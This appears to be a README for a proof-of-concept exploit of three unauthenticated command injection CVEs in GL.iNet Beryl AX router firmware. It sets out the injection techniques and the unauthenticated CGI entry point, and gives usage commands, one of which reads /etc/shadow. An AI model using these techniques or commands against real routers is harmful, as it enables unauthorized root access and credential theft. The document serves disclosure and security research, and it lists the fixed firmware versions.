Share
## https://sploitus.com/exploit?id=F82812B2-209D-560F-A047-2C5FA823E1FD
# GL.iNet Beryl AX Triple RCE PoC
PoC for three unauthenticated command injection vulnerabilities (CVE-2026-11450, CVE-2026-11451, CVE-2026-11452) in the GL.iNet GL-MT3000 (Beryl AX) travel router firmware <= 4.4.5.
Full writeup: https://www.hunt-benito.com/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/
## Vulnerabilities
| CVE | CVSS | Technique |
|-----|------|-----------|
| CVE-2026-11450 | 7.3 | Buffer size mismatch (0x40 vs 0x100) bypasses `access()` gate, `$()` injected via `system()` |
| CVE-2026-11451 | 7.3 | Single-quote escape in FTP `media_dir` parameter breaks shell quoting |
| CVE-2026-11452 | 7.3 | `$()` command substitution in Samba password parameter inside double-quoted `printf` |
All three exploit the unauthenticated `/cgi-bin/glc` CGI dispatcher which loads plugins via `dlopen`/`dlsym` with no auth or method allowlist.
## Usage
```bash
# Exploit all three CVEs
python3 poc.py http://192.168.8.1
# Exploit a specific CVE
python3 poc.py http://192.168.8.1 -c "id" -v 11450
python3 poc.py https://192.168.8.1 -c "id" -v 11451
python3 poc.py https://192.168.8.1 -c "id" -v 11452
# Custom command and output file
python3 poc.py http://192.168.8.1 -c "cat /etc/shadow" -o /tmp/pwned
```
## Requirements
- Python 3.6+
- Network access to the router's LAN IP (default: 192.168.8.1)
- No credentials required
## Affected Versions
- GL.iNet GL-MT3000 firmware <= 4.4.5
- Fixed in firmware 4.7 (CVE-2026-11450) and 4.8.1 (CVE-2026-11451, CVE-2026-11452)
## Disclaimer
For educational and authorized security research purposes only. Do not use against systems you do not own or have explicit permission to test.